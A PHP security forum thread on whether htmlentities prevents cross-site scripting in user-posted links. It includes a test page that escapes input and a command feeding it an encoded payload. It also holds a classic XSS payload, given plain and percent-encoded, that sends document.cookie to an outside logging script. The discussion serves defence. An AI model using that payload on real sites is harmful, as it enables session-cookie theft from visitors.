Filtering Link HTML in form submissions

Discussions of secure PHP coding. Security in software is important, so don't be afraid to ask. And when answering: be anal. Nitpick. No security vulnerability is too small.

Moderator: General Moderators

Post Reply
User avatar
seodevhead
Forum Regular
Posts: 705
Joined: Sat Oct 08, 2005 8:18 pm
Location: Windermere, FL

Filtering Link HTML in form submissions

Post by seodevhead »

Hey guys... worried about XSS vulnerabilities as I allow html linking when posting in one of my scripts. I use htmlentities but understand that it does little to prevent HEX codes and other symbols like ( and ) that can be used for XSS. Do you know of any functions out there that translate all the possible symbols and characters that need to be translated to prevent XSS attacks? Thanks for your advice and suggestions!
User avatar
feyd
Neighborhood Spidermoddy
Posts: 31559
Joined: Mon Mar 29, 2004 3:24 pm
Location: Bothell, Washington, USA

Post by feyd »

Can you post some examples of it not doing it's job?
User avatar
seodevhead
Forum Regular
Posts: 705
Joined: Sat Oct 08, 2005 8:18 pm
Location: Windermere, FL

Post by seodevhead »

for example... you can bypass the htmlentities/specialchars, etc with hex coding like so:

"><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

can be translated too:

%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
User avatar
feyd
Neighborhood Spidermoddy
Posts: 31559
Joined: Mon Mar 29, 2004 3:24 pm
Location: Bothell, Washington, USA

Post by feyd »

I fail to see that needing anything special. The hex codes would show on the page as they are here, they would not magically convert back to regular characters without being passed through urldecode() or a similar function.
User avatar
seodevhead
Forum Regular
Posts: 705
Joined: Sat Oct 08, 2005 8:18 pm
Location: Windermere, FL

Post by seodevhead »

Well you would know a lot better than me. However I got a little worried when I came across this statement at a cgi security website:

"What can I do to protect myself as a vendor?"

This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate the majority of XSS attacks. Converting < and > to < and > is also suggested when it comes to script output. Remember XSS holes can be damaging and costly to your business if abused. Often attackers will disclose these holes to the public, which can erode customer and public confidence in the security and privacy of your organization's site. Filtering < and > alone will not solve all cross site scripting attacks and it is suggested you also attempt to filter out ( and ) by translating them to ( and ), and also # and & by translating them to &#35 (#) and &#38 (&).


So is htmlentities or htmlspecialchars enough to prevent XSS vulnerabilities??
User avatar
seodevhead
Forum Regular
Posts: 705
Joined: Sat Oct 08, 2005 8:18 pm
Location: Windermere, FL

Post by seodevhead »

As written above:

( and ) by translating them to ( and )

the last set of ( and ) were actually written in equivelant... phpBB actually converted the equivalant to the ( and ) you see. :) just fyi.
User avatar
feyd
Neighborhood Spidermoddy
Posts: 31559
Joined: Mon Mar 29, 2004 3:24 pm
Location: Bothell, Washington, USA

Post by feyd »

seodevhead wrote:phpBB actually converted the equivalant to the ( and ) you see.
phpBB is told to convert certain entity forms back to their normal characters, they will be in page none-the-less. Take part of my signature for example. The characters were input as entity numerics. phpBB knows to leave those alone for the most part.

Have a look at the following example.

Code: Select all

<?php

$injected = '';

if (isset($_GET['i']))
{
	$processed = $_GET['i'];
	$raw = explode('&', $_SERVER['QUERY_STRING'], 2);
	$raw = array_shift($raw);
	$raw = explode('=', $raw, 2);
	$raw = array_pop($raw);
	$injected  = 'You attempted to inject:<br>' . PHP_EOL;
	$injected .= '<pre>' . htmlentities($raw, ENT_QUOTES, 'UTF-8') . '</pre><br>' . PHP_EOL;
	$injected .= 'PHP received:<br>' . PHP_EOL;
	$injected .= '<pre>' . htmlentities($processed, ENT_QUOTES, 'UTF-8') . '</pre><br>' . PHP_EOL;
	$injected .= 'htmlentities($data):<br>' . PHP_EOL;
	$injected .= '<pre>' . htmlentities(htmlentities($processed), ENT_QUOTES, 'UTF-8') . '</pre><br>' . PHP_EOL;
	$injected .= 'htmlentities($data, ENT_QUOTES, \'UTF-8\'):<br>' . PHP_EOL;
	$injected .= '<pre>' . htmlentities(htmlentities($processed, ENT_QUOTES, 'UTF-8'), ENT_QUOTES, 'UTF-8') . '</pre><br>' . PHP_EOL;
	$injected .= 'htmlspecialchars($data):<br>' . PHP_EOL;
	$injected .= '<pre>' . htmlentities(htmlspecialchars($processed), ENT_QUOTES, 'UTF-8') . '</pre><br>' . PHP_EOL;
	$injected .= 'htmlspecialchars($data, ENT_QUOTES, \'UTF-8\'):<br>' . PHP_EOL;
	$injected .= '<pre>' . htmlentities(htmlentities($processed, ENT_QUOTES, 'UTF-8'), ENT_QUOTES, 'UTF-8') . '</pre><br>' . PHP_EOL;
}

echo <<<STOP
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
	<head>
		<title>feyd's test for seodevhead</title>
	</head>
	<body>
		<form method="get" action="">
			Let's test some injection. Try to inject something into this page:<br>
			<input type="text" size="100" name="i"><br>
			<input type="submit" name="submit" value="Inject it!">
		</form>
		{$injected}
	</body>
</html>
STOP;

?>
Now let's see what happens when we call if with the hex codes you're afraid of:

Code: Select all

[feyd@home]>php -r "echo file_get_contents('http://someserver/path/?i=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e+%6c%6f%63%61%74%69%6f%6e%3d%27+%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65+%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69+%2d%62%69%6e%2f+%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f+%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e');"
Post Reply